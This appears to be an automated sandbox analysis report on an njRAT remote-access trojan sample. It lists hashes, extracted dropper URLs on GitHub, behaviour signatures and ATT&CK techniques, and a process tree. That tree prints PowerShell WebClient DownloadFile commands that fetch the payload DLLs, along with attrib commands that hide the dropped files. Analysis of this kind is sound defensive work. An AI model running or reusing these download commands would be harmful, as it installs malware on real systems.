njrat | 8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720

General

Target

6f2bf69913f6bf47a6ae722c9640a311.exe
Size

46KB
MD5

6f2bf69913f6bf47a6ae722c9640a311
SHA1

5aa0c1acc2c56f283a9694f4953f6085f0b0059d
SHA256

8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720
SHA512

0721b0c5ad0ce0049609da9f59359fb5d895005342f87697683c9ffbb63213b125c8c81f55dfef50b7678b0f52ad3707d8c4cbdfadb64b8136f236bb3a30164c
SSDEEP

768:MB9QFE9xTu53yAeC1lNhTTHxAlbL0gUqrvs9kIL4:MBN9A5CAeCRpTHMbL0gU6+ka4

Score

10^/10

njrat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC86.dll

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
11	3248	powershell.exe
18	3248	powershell.exe
31	4788	powershell.exe
32	4788	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	6f2bf69913f6bf47a6ae722c9640a311.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3248	powershell.exe
3248	powershell.exe
4788	powershell.exe
4788	powershell.exe
5076	6f2bf69913f6bf47a6ae722c9640a311.exe
5076	6f2bf69913f6bf47a6ae722c9640a311.exe
5076	6f2bf69913f6bf47a6ae722c9640a311.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	5076	6f2bf69913f6bf47a6ae722c9640a311.exe
Token: 33	5076	6f2bf69913f6bf47a6ae722c9640a311.exe
Token: SeIncBasePriorityPrivilege	5076	6f2bf69913f6bf47a6ae722c9640a311.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 4464	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	21
PID 5076 wrote to memory of 4464	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	21
PID 4464 wrote to memory of 3248	4464	cmd.exe	20
PID 4464 wrote to memory of 3248	4464	cmd.exe	20
PID 5076 wrote to memory of 4116	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	97
PID 5076 wrote to memory of 4116	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	97
PID 4116 wrote to memory of 4788	4116	cmd.exe	95
PID 4116 wrote to memory of 4788	4116	cmd.exe	95
PID 5076 wrote to memory of 1432	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	111
PID 5076 wrote to memory of 1432	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	111
PID 5076 wrote to memory of 936	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	110
PID 5076 wrote to memory of 936	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	110
PID 5076 wrote to memory of 3284	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	108
PID 5076 wrote to memory of 3284	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	108
PID 5076 wrote to memory of 1388	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	107
PID 5076 wrote to memory of 1388	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	107
PID 5076 wrote to memory of 2492	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	104
PID 5076 wrote to memory of 2492	5076	6f2bf69913f6bf47a6ae722c9640a311.exe	104

Views/modifies file attributes 1 TTPs 5 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1388	attrib.exe
3284	attrib.exe
936	attrib.exe
1432	attrib.exe
2492	attrib.exe

C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe
"C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D64.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D86.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4116
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\r77-x64.dll"
  2⤵
  - Views/modifies file attributes
  PID:2492
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\cjc3LXg4Ni5kbGw="
  2⤵
  - Views/modifies file attributes
  PID:1388
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\"
  2⤵
  - Views/modifies file attributes
  PID:3284
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir\$77-google.exe"
  2⤵
  - Views/modifies file attributes
  PID:936
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir"
  2⤵
  - Views/modifies file attributes
  PID:1432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\Users\Admin\AppData\Local\Temp\r77-x64.dll');
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC86.dll','C:\Users\Admin\AppData\Local\Temp\r77-x86.dll');
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\D64.bat

Filesize
222B

MD5
9c2599eecfb45356c99a7320805d85e7

SHA1
ebbe61d1cf2d55c3d7c59fbaa1a2ba62b0f244e7

SHA256
a3f1a82cc9957b71b5409c6280e97e8af14bdc3c6fb5ad195708f8c95a6f4d40

SHA512
b8d32363da98d418f9caf853b1569a0b4051e2475067988f3cdbaf2226ba667d4dd1e69217e10860cb6a947b894093878a1fad6525aebb9c353e9e956a86c8a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ekkivdp2.ffi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3248-22-0x00007FF8C5960000-0x00007FF8C6421000-memory.dmp

Filesize
10.8MB

Download
memory/3248-18-0x0000012136E30000-0x0000012136E40000-memory.dmp

Filesize
64KB

Download
memory/3248-13-0x0000012136E30000-0x0000012136E40000-memory.dmp

Filesize
64KB

Download
memory/3248-11-0x000001211E7B0000-0x000001211E7D2000-memory.dmp

Filesize
136KB

Download
memory/3248-12-0x00007FF8C5960000-0x00007FF8C6421000-memory.dmp

Filesize
10.8MB

Download
memory/4788-40-0x0000023439BB0000-0x0000023439BC0000-memory.dmp

Filesize
64KB

Download
memory/4788-39-0x0000023439BB0000-0x0000023439BC0000-memory.dmp

Filesize
64KB

Download
memory/4788-38-0x00007FF8C5960000-0x00007FF8C6421000-memory.dmp

Filesize
10.8MB

Download
memory/4788-43-0x00007FF8C5960000-0x00007FF8C6421000-memory.dmp

Filesize
10.8MB

Download
memory/5076-0-0x0000000000C10000-0x0000000000C22000-memory.dmp

Filesize
72KB

Download
memory/5076-2-0x00007FF8C5960000-0x00007FF8C6421000-memory.dmp

Filesize
10.8MB

Download
memory/5076-45-0x00007FF8C5960000-0x00007FF8C6421000-memory.dmp

Filesize
10.8MB

Download
memory/5076-47-0x000000001C100000-0x000000001C110000-memory.dmp

Filesize
64KB

Download
memory/5076-48-0x000000001C100000-0x000000001C110000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads